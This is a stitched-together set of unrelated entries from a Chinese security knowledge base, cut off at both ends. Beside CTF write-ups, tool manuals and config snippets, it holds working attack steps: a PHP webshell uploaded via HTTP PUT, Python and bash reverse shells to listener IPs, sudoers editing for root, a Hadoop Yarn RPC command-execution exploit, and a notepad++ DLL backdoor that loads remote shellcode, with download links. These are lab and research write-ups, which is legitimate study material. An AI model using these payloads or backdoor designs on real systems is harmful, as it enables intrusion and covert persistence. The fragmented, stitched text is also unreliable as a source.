c:type="binary">AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA=</MSWABMAPI:PropTag0x3A58101F></c:Extended> <c:ContactIDCollection><c:ContactID c:ElementID="599ef753-f77f-4224-8700-e551bdc2bb1e"><c:Value>0bcf610e-a7be-4f26-9042-d6b3c22c9863</c:Value></c:ContactID></c:ContactIDCollection><c:EmailAddressCollection><c:EmailAddress c:ElementID="0745ffd4-ef0a-4c4f-b1b6-0ea38c65254e"><c:Type>SMTP</c:Type><c:Address>[email protected]</c:Address><c:LabelCollection><c:Label>Preferred</c:Label></c:LabelCollection></c:EmailAddress><c:EmailAddress c:ElementID="594eec25-47bd-4290-bd96-a17448f7596a" xsi:nil="true"/></c:EmailAddressCollection><c:NameCollection><c:Name c:ElementID="318f9ce5-7a08-4ea0-8b6a-2ce3e9829ff2"><c:FormattedName>Avinash</c:FormattedName><c:GivenName>Avinash</c:GivenName></c:Name></c:NameCollection><c:PersonCollection><c:Person c:ElementID="865f9eda-796e-451a-92b1-bf8ee2172134"><c:FormattedName>Makke</c:FormattedName><c:LabelCollection><c:Label>wab:Spouse</c:Label></c:LabelCollection></c:Person></c:PersonCollection><c:PhotoCollection><c:Photo c:ElementID="2fb5b981-cec1-45d0-ae61-7c340cfb3d72"><c:LabelCollection><c:Label>UserTile</c:Label></c:LabelCollection></c:Photo></c:PhotoCollection></c:contact> ┌──(root💀kali)-[~/Downloads] └─# cat hint.txt You have found a contact. Now, go and grab the details :-) ``` 分析xml找到一串base64字符串和两个用户(`Avinash`,`Makke`) ``` ┌──(root💀kali)-[~/Downloads] └─# echo 'AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA=' | base64 -d NooB@123 ``` ssh登录 ![image-20220906144822042](../../.gitbook/assets/image-20220906144822042.png) 找到一个提示。 ![image-20220906144919602](../../.gitbook/assets/image-20220906144919602.png) ![image-20230208133522189](../../.gitbook/assets/image-20230208133522189.png)
sec-knowleage
# Android安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **案例** - [Attacking the attackers Hacking like it's 1999](https://asaf.me/2018/07/23/attacking-the-attackers/) - [如何攻击智能汽车远程启动系统(Part 1)](https://www.anquanke.com/post/id/153373) - [对恶意Android应用Bangle Android App Packer的分析](http://www.freebuf.com/vuls/178919.html) - [怀揣情怀的提醒:及时修复!(某智能门锁二度分析感悟)](https://paper.seebug.org/343/) - [[Onls丶辜釉]无码分享渗透某社交APP](https://bbs.ichunqiu.com/thread-27421-1-22.html) - [技术讨论 | 看我如何破解一台自动售货机 ](https://www.freebuf.com/articles/terminal/186804.html) - [一个色播APP逆向——初窥千万灰色直播产业](https://evilpan.com/2019/01/05/reverse-live-porn-app/) - [Telegram App Store Secret-Chat Messages in Text Database](https://blog.zimperium.com/telegram-hack/) - [对某某加速器逆向抓包破解提取线路分析](https://www.52pojie.cn/thread-1175677-1-1.html) - [APP硬编码密钥渗透测试](https://www.t00ls.net/articles-58594.html) - dexdump 脱壳,AES,OSS 利用 - [BountyHunterInChina/重生之我是赏金猎人(二)-逆向app破解数据包sign值实现任意数据重放添加.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E4%BA%8C)-%E9%80%86%E5%90%91app%E7%A0%B4%E8%A7%A3%E6%95%B0%E6%8D%AE%E5%8C%85sign%E5%80%BC%E5%AE%9E%E7%8E%B0%E4%BB%BB%E6%84%8F%E6%95%B0%E6%8D%AE%E9%87%8D%E6%94%BE%E6%B7%BB%E5%8A%A0.pdf) - [对小绵羊的轰炸APP逆向分析](https://mp.weixin.qq.com/s/fUCGRL-25vLoAPXUd4ZiWw) **CTF writeup** - [BUUCTF Reverse helloword、findit](https://blog.csdn.net/qq_42967398/article/details/96877555) --- ## 抓包方法 **相关文章** - [太干了,Android 抓包姿势总结!](https://mp.weixin.qq.com/s/EB0MAJQs1CIEUHezmTFxtg) - [Android Pentesting Setup On Macbook M1](https://infosecwriteups.com/android-pentesting-setup-on-macbook-m1-d2f1f0a8db4b) **mac + Android studio 抓包** ```bash cd cd Library/Android/sdk/emulator ./emulator -list-avds ./emulator -avd test -writable-system # 导出 burp 的证书 cacert.der openssl x509 -inform DER -in cacert.der -out cacert.pem openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1 mv cacert.pem 9a5ba575.0 cd cd Library/Android/sdk/platform-tools ./adb devices ./adb root ./adb remount ./adb push 9a5ba575.0 /sdcard/ ./adb shell mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/ chmod 644 /system/etc/security/cacerts/9a5ba575.0 exit ./adb reboot ``` --- **手机设置网络代理** 模拟器打开 wifi 设置选项,长按点击 `修改网络` 代理选择本机的 IP 地址 在 burp 的选项中添加监听项 模拟器访问 http://burp 下载 ca 证书 到文件管理器中,将下载的 cacert.der 改为 .cer 后缀 到设置-安全 选择从 SD 卡安装 选择 .cer 文件安装 随便命名,用途选 `vpn和应用` - 相关文章 - [使用burpsuit捕获手机流量](https://blog.csdn.net/qq_29277155/article/details/52548630) --- **模拟器设置全局代理** 代理服务器设置为 burp 监听端口 已夜神模拟器为例,使用的网络进程有:`NoxVMHandle Frontend` 将 `NoxVMHandle Frontend` 进程对应的应用程序文件加入代理规则。 重启模拟器,模拟器安装 burp 的 CA 证书,记得 ca 文件名改成 .crt,抓包测试 --- **Root 后导证书到系统域中** - 相关文章 - [移动端安全修炼(三)](https://moyu.life/post/yi-dong-duan-an-quan-xiu-lian-san/) --- **ssl-pinning 证书锁定** SSL/TLS Pinning 提供了两种锁定方式: Certificate Pinning 和 Public Key Pinning - 证书锁定 需要将 APP 代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的 CA 根证书对应的任何证书,通过这种授权方式,保障了 APP 与服务端通信的唯一性和安全性,因此我们移动端 APP 与服务端(例如 API 网关)之间的通信是可以保证绝对安全。但是 CA 签发证书都存在有效期问题,所以缺点是在证书续期后需要将证书重新内置到 APP 中。 - 公钥锁定 提取证书中的公钥并内置到移动端 APP 中,通过与服务器对比公钥值来验证连接的合法性,在制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题。 证书锁定旨在解决移动端 APP 与服务端通信的唯一性,实际通信过程中,如果锁定过程失败,那么客户端 APP 将拒绝针对服务器的所有 SSL/TLS 请求,FaceBook/Twitter 则通过证书锁定以防止 Charles/Fiddler 等抓包工具中间人攻击 -- ## 反编译 **在线反编译器** - [APK decompiler - decompile Android .apk ✓ ONLINE ✓](http://www.javadecompilers.com/apk) **查壳** - apktool box - PKID - https://bbs.pediy.com/thread-223248.htm **反编译工具** - [Apktool](https://ibotpeaches.github.io/Apktool/) - 参考文章 : [使用apktool反编译apk文件](https://blog.csdn.net/ruancoder/article/details/51924179) ``` apktool d xxx.apk -o xxx ``` - [skylot/jadx](https://github.com/skylot/jadx) - ApkIDE - AndroidKiller --- ## APK 信息收集 **在线检测** - [腾讯金刚](https://service.security.tencent.com/kingkong) - [梆梆安全](https://dev.bangcle.com/) - [爱加密](https://www.ijiami.cn/index) - [娜迦信息](http://www.nagain.com/appscan/) - [海云安](https://www.secidea.com/hyx/index.php/user/login.html) - [APP审计系统](http://01hackcode.com/) - [360移动开放平台-APP漏洞扫描](http://dev.360.cn/html/vulscan/scanning.html) - [360加固保](https://jiagu.360.cn/#/global/index) - [百度AI安全加固平台](https://apkprotect.baidu.com/) - [腾讯云移动应用加固](https://cloud.tencent.com/product/ms) - [360手机应用检测](http://scan.shouji.360.cn/index.html) - [腾讯手机管家官方网站](https://m.qq.com/security_lab/scans_online.jsp) **相关工具** - [TheKingOfDuck/ApkAnalyser](https://github.com/TheKingOfDuck/ApkAnalyser) - 一键提取安卓应用中可能存在的敏感信息。 - [dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) - Scanning APK file for URIs, endpoints & secrets. - 从反编译的 apk 文件中提取相关域名链接/IP ```bash grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto ``` - 通过正则提取一些敏感信息 ```bash apktool d app_name.apk grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/ ``` - [s0md3v/Diggy](https://github.com/s0md3v/Diggy) - [kelvinBen/AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner) --- ## 系统漏洞 **Android's overlay attacks** - 相关文章 - [How are we doing with Android's overlay attacks in 2020?](https://labs.f-secure.com/blog/how-are-we-doing-with-androids-overlay-attacks-in-2020/) --- ## ADB调试 **相关资源** - [mzlogin/awesome-adb](https://github.com/mzlogin/awesome-adb) **相关文章** - [How to hack Android device with ADB (Android debugging bridge)](https://www.hackeracademy.org/how-to-hack-android-device-with-adb-android-debugging-bridge/) - [[渗透测试]记一次5555端口渗透实战](https://www.cnblogs.com/Ky1226/p/14198581.html) **Payload** - https://www.exploit-db.com/exploits/39328 --- ## 绕过ROOT检测 **相关文章** - [How Development Skills Translate to Reverse Engineering: Using LLDB to Reverse Engineer an Android App](https://www.guardsquare.com/blog/how-development-skills-translate-to-reverse-engineering)
sec-knowleage
dig === 域名查询工具 ## 补充说明 **dig命令** 是常用的域名查询工具,可以用来测试域名系统工作是否正常。 ### 语法 ```shell dig(选项)(参数) ``` ### 选项 ```shell @<服务器地址>:指定进行域名解析的域名服务器; -b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求; -f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息; -P:指定域名服务器所使用端口号; -t<类型>:指定要查询的DNS数据类型; -x<IP地址>:执行逆向域名查询; -4:使用IPv4; -6:使用IPv6; -h:显示指令帮助信息。 ``` ### 参数 * 主机:指定要查询域名主机; * 查询类型:指定DNS查询的类型; * 查询类:指定查询DNS的class; * 查询选项:指定查询选项。 ### 实例 ```shell [root@localhost ~]# dig www.baidu.com ; <<>> DiG 9.10.6 <<>> www.baidu.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.baidu.com. IN A ;; ANSWER SECTION: www.baidu.com. 963 IN CNAME www.a.shifen.com. www.a.shifen.com. 63 IN A 180.101.50.242 www.a.shifen.com. 63 IN A 180.101.50.188 ;; Query time: 14 msec ;; SERVER: 119.29.29.29#53(119.29.29.29) ;; WHEN: Wed May 10 16:16:36 CST 2023 ;; MSG SIZE rcvd: 101 ```
sec-knowleage
# 解决方案汇总 本篇整理一些态势感知相关的技术框架和相关模型 ### 1. 安全运营+情报 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200714143330.png) Fig. 安全运营中威胁情报的应用 ## References [1] 安全运营中威胁情报的应用,姜明元,https://cloud.ssetech.com.cn/p/DUf-3PEQtwcY7gg
sec-knowleage
# SickOs 1.2 下载地址:https://download.vulnhub.com/sickos/sick0s1.2.zip ## 实战操作 扫描靶场IP地址:`192.168.32.148` ![image-20220531102836395](../../.gitbook/assets/image-20220531102836395.png) 扫描端口,发现只开启**22**和**80**端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -sT -p1-65535 192.168.32.148 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 22:30 EDT Nmap scan report for 192.168.32.148 Host is up (0.00067s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:3D:60:3D (VMware) Nmap done: 1 IP address (1 host up) scanned in 104.58 seconds ``` 浏览器访问80端口 ![image-20220531103338753](../../.gitbook/assets/image-20220531103338753.png) 使用目录扫描器只扫描到**test**目录 ![image-20220531103856954](../../.gitbook/assets/image-20220531103856954.png) 通过 curl 检查可用方法时,PUT 方法可用。这可用于上传反向 shell。 ``` ┌──(root💀kali)-[/tmp] └─# curl -v -X OPTIONS http://192.168.32.148/test/ * Trying 192.168.32.148:80... * Connected to 192.168.32.148 (192.168.32.148) port 80 (#0) > OPTIONS /test/ HTTP/1.1 > Host: 192.168.32.148 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Allow: OPTIONS, GET, HEAD, POST < Content-Length: 0 < Date: Tue, 31 May 2022 10:40:36 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.148 left intact ``` 通过 PUT 请求利用文件上传,使用 curl 上传包含以下代码的 PHP 文件,这将允许我们远程执行代码: ``` ┌──(root💀kali)-[/tmp] └─# curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://192.168.32.148/test/shell.php * Trying 192.168.32.148:80... * Connected to 192.168.32.148 (192.168.32.148) port 80 (#0) > PUT /test/shell.php HTTP/1.1 > Host: 192.168.32.148 > User-Agent: curl/7.81.0 > Accept: */* > Content-Length: 36 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 201 Created < Content-Length: 0 < Date: Tue, 31 May 2022 10:41:40 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.148 left intact ``` ![image-20220531104217544](../../.gitbook/assets/image-20220531104217544.png) 通过 cmd 参数执行 python 反向 shell: ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ``` 仍然没有收到反向shell。一段时间后,**使用端口 443 成功**。这表明 iptables/firewall 仅允许在选定端口上的出站流量。 ![image-20220531105959779](../../.gitbook/assets/image-20220531105959779.png) 查看Linux发行版和内核 ``` www-data@ubuntu:/var/www/test$ uname -a uname -a Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux www-data@ubuntu:/var/www/test$ cat /etc/*-release cat /etc/*-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=12.04 DISTRIB_CODENAME=precise DISTRIB_DESCRIPTION="Ubuntu 12.04.4 LTS" NAME="Ubuntu" VERSION="12.04.4 LTS, Precise Pangolin" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu precise (12.04.4 LTS)" VERSION_ID="12.04" ``` 查看定时计划,找到**chkrootkit**的计划任务 ``` www-data@ubuntu:/var/www/test$ cat /etc/cron.daily/chkrootkit cat /etc/cron.daily/chkrootkit #!/bin/sh set -e CHKROOTKIT=/usr/sbin/chkrootkit CF=/etc/chkrootkit.conf LOG_DIR=/var/log/chkrootkit if [ ! -x $CHKROOTKIT ]; then exit 0 fi if [ -f $CF ]; then . $CF fi if [ "$RUN_DAILY" = "true" ]; then if [ "$DIFF_MODE" = "true" ]; then eval $CHKROOTKIT $RUN_DAILY_OPTS > $LOG_DIR/log.today.raw 2>&1 # the sed expression replaces the messages about /sbin/dhclient3 /usr/sbin/dhcpd3 # with a message that is the same whatever order eth0 and eth1 were scanned sed -r -e 's,eth(0|1)(:[0-9])?: PACKET SNIFFER\((/sbin/dhclient3|/usr/sbin/dhcpd3)\[[0-9]+\]\),eth\[0|1\]: PACKET SNIFFER\([dhclient3|dhcpd3]{PID}\),' \ -e 's/(! \w+\s+)[ 0-9]{4}[0-9]/\1#####/' $LOG_DIR/log.today.raw > $LOG_DIR/log.today if [ ! -f $LOG_DIR/log.expected ]; then echo "ERROR: No file $LOG_DIR/log.expected" echo "This file should contain expected output from chkrootkit" echo echo "Today's run produced the following output:" echo "--- [ BEGIN: cat $LOG_DIR/log.today ] ---" cat $LOG_DIR/log.today echo "--- [ END: cat $LOG_DIR/log.today ] ---" echo echo "To create this file containing all output from today's run, do (as root)" echo "# cp -a $LOG_DIR/log.today $LOG_DIR/log.expected" echo "# (note that unedited output is in $LOG_DIR/log.today.raw)" elif ! diff -q $LOG_DIR/log.expected $LOG_DIR/log.today > /dev/null 2>&1; then echo "ERROR: chkrootkit output was not as expected." echo echo "The difference is:" echo "---[ BEGIN: diff -u $LOG_DIR/log.expected $LOG_DIR/log.today ] ---" diff -u $LOG_DIR/log.expected $LOG_DIR/log.today || true echo "---[ END: diff -u $LOG_DIR/log.expected $LOG_DIR/log.today ] ---" echo echo "To update the expected output, run (as root)" echo "# cp -a -f $LOG_DIR/log.today $LOG_DIR/log.expected" echo "# (note that unedited output is in $LOG_DIR/log.today.raw)" fi else eval $CHKROOTKIT $RUN_DAILY_OPTS fi fi ``` 查看exp信息 ``` ┌──(root💀kali)-[/opt] └─# searchsploit -x linux/local/33899.txt ``` ![image-20220531111228156](../../.gitbook/assets/image-20220531111228156.png) 因此,如果我们创建一个 bash 脚本并将其放在目录中调用的文件`update`中`/tmp`并设置其可执行权限,它将以 root 身份运行。 ``` echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update chmod 777 /tmp/update sudo su ``` ![image-20230208160448038](../../.gitbook/assets/image-20230208160448038.png)
sec-knowleage
version: "2" services: jira: image: vulhub/jira:8.1.0 ports: - "8080:8080" links: - smtpd smtpd: build: context: . dockerfile: Dockerfile.smtpd
sec-knowleage
* 本季是《高级持续渗透-第七季demo的成长》的延续。 * https://micropoor.blogspot.com/2019/01/php-demo.html 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。 在第六季关于后门中,文章**假设在不得知notepad++的源码**,来引入无目标源码沟门构造。 在第七季关于后门中,文章让demo与上几季中对比,更贴近于实战。 而在第八季,继续优化更新demo,强调**后门链**在高级持续渗透中的作用。 **该系列仅做后门思路。** 在上季中引用一个概念:**“安全是一个链安全,攻击引入链攻击,后门引入链后门”**,而**”链”**的本质是**增加对手的时间成本,金钱成本,人力成本等。** 第七季的文章结尾是这样写道: ![](media/2a31f56e4b7965091e8e18bfe2cd7f74.jpg) 而增改后门每一个功能,则需要更改demo的功能,或者增加几个功能的集合。那么它并不是一个标准的"链"后门。为了更好的强调“链”后门在高级持续渗透中的作用。第八季把demo打造成一个远控。以及可结合任意第三方渗透框架。 远控4四大要素: * 可执行cmd命令 * 可远程管理目标机文件,文件夹等 * 可查看目标摄像头 * 注册表和服务操作 * 等等 而以上功能需要大量的代码以及大量的特征加入到该dll里,而此时,后门不在符合实战要求。从而需要重新构建后门。**思路如下:**dll不实现任何后门功能,只做“后门中间件”。而以上功能则第四方来实现。第三方作为与后门建立连接关系。 **Demo 环境:** * Windows 2003 x64 * Windows 7 x64 * Debian * notepad++ 7.6.1,notepad++7.5.9 * vs 2017 **Windows 2003: ip 192.168.1.119** ![](media/ffe803cd6661fb184f853dd1e8ba8391.jpg) **开放端口:** ![](media/036c0df07b733b1903b954719d1d9eae.jpg) **notepad++版本:** ![](media/8b2395faa9f773202a5fb8b72ee1a02e.jpg) notepad++v7.6以下版本插件直接放入`X:\Program Files(x86)\Notepad++\plugins`目录下即可。 **放置后门:** ![](media/e547ccb1c7b63469a8e2704a699a13e3.jpg) **配置后门链:** **配置下载服务器:** ![](media/ed8fcd774103d0e9b6fa90cfef6dc449.jpg) **配置msf:** ![](media/226afc0a697337a71103b8e25cace952.jpg) **再次打开notepad++:** 变化如下: **下载服务器:** ![](media/10658c38abf21ebbb51649d392bc21f8.jpg) **msf服务器:** ![](media/733488673f8750f3027f9564bf4bb8c0.jpg) **执行顺序为:** * notepad++挂起dll后门 * 后门访问下载服务器读取shellcode * 根据shellcode内容,加载内存 * 执行shellcode Micropoor.rb核心代码如下: ![](media/bbc4b855a51b83fa6823ce5a51787ede.jpg) 而此时,无需在对dll的功能改变而更改目标服务器,只需更改下载服务器shellcode,以messagebox为例: msf生成shellcode如下: ![](media/3ce86fbf179f37e3a08f69d39855209c.jpg) 替换下载服务器shellcode: ![](media/5c590d0ad57d1818403a9e618549e6e1.jpg) 再次运行notepad++,弹出messagebox,而无msf payload功能。 ![](media/1059bc2acf3d13cb9cd61c98647439e5.jpg) **后者的话:** 在第八季中,只需配置一次目标服务器,便完成了对目标服务器的“后门”全部配置。以减小最小化接触目标服务器,来减少被发现。而以后得全部配置,则在下载服务器中。来调用第四方框架。并且目标服务器只落地一次文件,未来其他功能都将会直接加载到内存。大大的增加了管理人员的对抗成本。“后门链”的本质是增加对手的时间成本,金钱成本,人力成本等。而对于攻击者来说,下载,执行,后门分别在不同的IP。对于对抗安全软件,仅仅需要做“落地”的exe的加解密shellcode。 附: **Micropoor.rb** > 大小: 1830 字节 修改时间: 2019年1月4日, 15:46:44 MD5: D5647F7EB16C72B94E0C59D87F82F8C3 SHA1: BDCFB4A9B421ACE280472B7A8580B4D9AA97FC22 CRC32: ABAB591B https://drive.google.com/open?id=1ER6Xzcw4mfc14ql4LK0vBBuqQCd23Apg **MicroNc.exe** **注:强烈建议在虚拟中测试,因Micropoor已被安全软件加入特征,故报毒。** >大小: 93696 字节 修改时间: 2019年1月4日, 15:50:41 MD5: 42D900BE401D2A76B68B3CA34D227DD2 SHA1: B94E2D9828009D80EEDDE3E795E9CB43C3DC2ECE CRC32: CA015C3E https://drive.google.com/open?id=1ZKKPOdEcfirHb2oT1opxSKCZPSplZUSf > Micropoor
sec-knowleage
times === 显示进程累计时间。 ## 主要用途 - 打印出shell及其子进程累计使用的用户时间和系统时间。 ## 返回值 总是返回成功。 ## 例子 ```shell # 执行命令 times # 返回结果 0m0.037s 0m0.009s 0m0.010s 0m0.024s # 根据times(2)的man手册,对应关系如下: # 用户时间 | 系统时间 # 子进程的用户时间 | 子进程的系统时间 ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
# Hadoop Yarn RPC未授权访问漏洞 ## 漏洞简述 Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。 同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。 ## 环境搭建 > https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn 需要修改docker-compose.yml,添加8032端口映射。 ![image-20220726135831239](../../.gitbook/assets/image-20220726135831239.png) curl请求8032端口。 ``` [root@localhost tmp]# curl http://192.168.32.183:8032 It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon. ``` ## 漏洞利用 EXP:https://github.com/cckuailong/YarnRpcRCE ``` [root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn" log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info. ``` ![image-20220726143734307](../../.gitbook/assets/image-20220726143734307.png) 查看日志 ![image-20220726144048169](../../.gitbook/assets/image-20220726144048169.png) 反弹shell ``` [root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1" ``` 成功建立连接 ``` [root@localhost tmp]# nc -lvp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.19.0.5. Ncat: Connection from 172.19.0.5:59812. bash: cannot set terminal process group (271): Inappropriate ioctl for device bash: no job control in this shell <00863_0003/container_1658816800863_0003_01_000001# whoami whoami root <00863_0003/container_1658816800863_0003_01_000001# ``` ## 漏洞修复 1. Apache Hadoop官方建议用户开启Kerberos认证。 2. 设置 Hadoop RPC服务所在端口仅对可信地址开放。 3. 建议升级并启用Kerberos的认证功能,阻止未经授权的访问。
sec-knowleage
# advanced-potion-making Forensics, 100 points ## Description > Ron just found his own copy of advanced potion making, but its been corrupted by some kind of spell. Help him recover it! A binary file was attached. ## Solution Let's check the file type: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] └─$ file advanced-potion-making advanced-potion-making: data ``` `file` doesn't recognize it. Let's peek inside: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] └─$ xxd -g 1 ./advanced-potion-making| head 00000000: 89 50 42 11 0d 0a 1a 0a 00 12 13 14 49 48 44 52 .PB.........IHDR 00000010: 00 00 09 90 00 00 04 d8 08 02 00 00 00 04 2d e7 ..............-. 00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 x....sRGB....... 00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 ..gAMA......a... 00000040: 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 ..pHYs...%...%.I 00000050: 52 24 f0 00 00 76 39 49 44 41 54 78 5e ec fd 61 R$...v9IDATx^..a 00000060: 72 e3 4c 94 a6 59 ce 16 6a fe 76 cd fe 57 d7 dd r.L..Y..j.v..W.. 00000070: 5b 18 45 e9 4b 8a 7a 28 d1 9d 20 48 07 a9 63 76 [.E.K.z(.. H..cv 00000080: ac 2d 2b 3e bf af 5f 07 18 01 82 d7 b2 f3 ff f3 .-+>.._......... 00000090: ff fc 7f ff 7f 00 00 00 00 00 00 00 4b 18 58 02 ............K.X. ``` This looks like a PNG header due to the existence of `IHDR`, but doesn't start with the expected magic bytes. Let's fix it based on the spec and see what we get: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] └─$ xxd -g 1 advanced-potion-making-test.png | head 00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR 00000010: 00 00 09 90 00 00 04 d8 08 02 00 00 00 04 2d e7 ..............-. 00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 x....sRGB....... 00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 ..gAMA......a... 00000040: 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 ..pHYs...%...%.I 00000050: 52 24 f0 00 00 76 39 49 44 41 54 78 5e ec fd 61 R$...v9IDATx^..a 00000060: 72 e3 4c 94 a6 59 ce 16 6a fe 76 cd fe 57 d7 dd r.L..Y..j.v..W.. 00000070: 5b 18 45 e9 4b 8a 7a 28 d1 9d 20 48 07 a9 63 76 [.E.K.z(.. H..cv 00000080: ac 2d 2b 3e bf af 5f 07 18 01 82 d7 b2 f3 ff f3 .-+>.._......... 00000090: ff fc 7f ff 7f 00 00 00 00 00 00 00 4b 18 58 02 ............K.X. ``` Is there anything else wrong with this PNG file? ```console ┌──(user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] └─$ pngcheck advanced-potion-making-test.png OK: advanced-potion-making-test.png (2448x1240, 24-bit RGB, non-interlaced, 99.7%). ``` Looks Ok, but when we open the image we see it's completely red. Using a tool such as `stegsolve` or [this website](https://incoherency.co.uk/image-steganography/#unhide) we can uncover a secret message hiding in the image: `picoCTF{w1z4rdry}`.
sec-knowleage
# now you don't Forensics, 200 points ## Description: > We heard that there is something hidden in this picture. Can you find it? ![Red](images/nowYouDont.png) ## Solution: Browsing through the different planes using [StegSolve](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) reveals the flag hiding in "Red plane 1": ![Red](images/nowYouSeeMe.png) [This method](https://www.wikihow.com/Create-Hidden-Watermarks-in-GIMP) works as well, but takes longer. The flag: picoCTF{n0w_y0u_533_m3}
sec-knowleage
# druid 监控页未授权访问漏洞 ## 漏洞简介 Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问. ## 环境搭建 pom.xml配置 ``` <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.3</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>demo</artifactId> <version>0.0.1-SNAPSHOT</version> <name>demo</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-jdbc</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.2.2</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>com.alibaba</groupId> 